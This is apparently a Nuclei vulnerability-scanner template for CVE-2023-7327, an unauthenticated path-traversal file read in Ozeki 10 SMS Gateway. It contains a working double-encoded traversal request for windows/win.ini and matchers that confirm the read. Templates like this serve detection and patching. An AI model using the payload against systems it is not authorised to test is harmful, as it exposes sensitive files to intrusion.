id: CVE-2023-7327

info:
  name: Ozeki 10 SMS Gateway 10.3.208 - Arbitrary File Read
  author: r3Y3r53
  severity: high
  description: |
    An arbitrary file read vulnerability, also known as a "path traversal" or "directory traversal" vulnerability, occurs when an attacker is able to access files on a system that they shouldn't have access to. This vulnerability arises from improper input validation or insufficient access controls in an application.
  impact: |
    Unauthenticated attackers can read arbitrary files, leading to sensitive information disclosure.
  remediation: |
    Update to the latest version of Ozeki SMS Gateway.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7327
    - https://www.exploit-db.com/exploits/51646
    - https://ozeki-sms-gateway.com/attachments/702/installwindows_1689352737_OzekiSMSGateway_10.3.208.zip
  classification:
    cve-id: CVE-2023-7327
    epss-score: 0.02142
    epss-percentile: 0.80242
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,ozeki,lfi,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/octet-stream") && contains(body, "Mail") && contains(body, "files")'
        condition: and
# digest: 4b0a004830460221008f227d9704013fa74e958697cf2d1546ffbd99a73f22379652dc03da30778a3e022100aad3f471c404de4a0939c679a072aea87b6fd52a57c10a5de56c59ca6e2b38d7:922c64590222798bb761d5b6d8e72950